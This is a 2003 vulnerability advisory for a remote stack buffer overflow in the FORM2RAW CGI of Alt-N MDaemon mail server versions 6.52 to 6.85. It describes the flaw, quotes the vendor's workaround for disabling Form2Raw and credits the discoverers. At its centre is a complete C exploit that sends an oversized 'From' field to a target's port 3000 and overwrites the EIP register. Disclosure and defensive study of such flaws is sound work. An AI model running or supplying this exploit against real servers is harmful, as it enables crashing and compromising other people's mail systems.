Product: Alt-N Technologies Mdaemon Mail Server
Version: MDaemon 6.85 and Below to 6.52
Vulnerability: Remote buffer overflow in Raw Message Handler
Release Date: 12/29/2003

Vendor Status:
Informed on 29 Dec 2003
Quick response on 29 Dec 2003

Overview:

FORM2RAW.exe is a CGI which allows users to send email using MDaemon from a web. It
processes the fields of an HTML form and creates a RAW message File in the Raw
queue Directory of MDaemon mail server. This file then will be proccessed and qeued
for delivery by MDaemon.
According to the Help file "By default, MDaemon 6.52 or higher will not send emails
created by Form2Raw unless the email address passed in the 'from' tag (see below)
is a valid account on the MDaemon server.If you want to disable this behavior
you can set the FromCheck=No in FORM2RAW.INI file".

Problem:

Sending more than 153 bytes in the "From" field to FROM2Raw.exe creates a Raw File
that when proccessed by mdaemon will cause a Stack buffer overflow.The EIP register
will be overwritten when From Field length was 249 bytes.
The FORM2RAW.exe is accessible by default from WorlClient Web server listening on
Port 3000.

---------------------Exploit:

#include
#include
#include
#pragma comment (lib,"ws2_32")
#define RET 0x1dff160
#define PORT 3000
void main(int argc, char **argv)
{
SOCKET s = 0;
WSADATA wsaData;

if(argc < 2)
{
fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi,
" "\nUsage: %s \n", argv[0]);

printf("%d",argc);
exit(0);
}

WSAStartup(MAKEWORD(2,0), &wsaData);

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(INVALID_SOCKET != s)
{
SOCKADDR_IN anAddr;
anAddr.sin_family = AF_INET;
anAddr.sin_port = htons(PORT);
anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
{
static char buffer[500];
int i;
memset(buffer,0,sizeof(buffer));
strcpy(buffer,"get /form2raw.cgi?From=");
for(i=0;i<244;i++) {

strcat(buffer,"a");
}

strcat(buffer,"bbbb"); //Overwrites EIP
strcat(buffer,"c"); //One byte left after ESP :-(
strcat(buffer,"&To=me hell org&Subject=hi&Body=hello HTTP/1.0\r\n\r\n");

send(s, buffer, strlen(buffer), 0);
printf("Exploit Sent.");

}

else printf("Error Connecting to The Target.\n");
closesocket(s);
}

WSACleanup();
}

---------------------------------------

Vendor Response:

Robin Edwards Wrote:

We have had a similar vulnerability report with Form2Raw and hope to release a patch
soon. In the meantime it is easy to disable Form2Raw by following the instructions
below:
-----
To disable FORM2RAW open the
\MDaemon\WorldClient\WorldClient.ini file with Notepad and
delete the following two lines:

CgiBase2=/Form2Raw.cgi
CgiFile2=C:\MDaemon\CGI\Form2Raw.exe

Afterward, restart WorldClient to register the change.
-----

Credits:

This Vulnerability has been Discoverd By Pejamn Davarzani (pejman hat-squad com) and
Behrang Fouladi(behrang hat-squad com)

Original advisory could be found at:
http://hat-squad.com/bugreport/mdaemon-raw.txt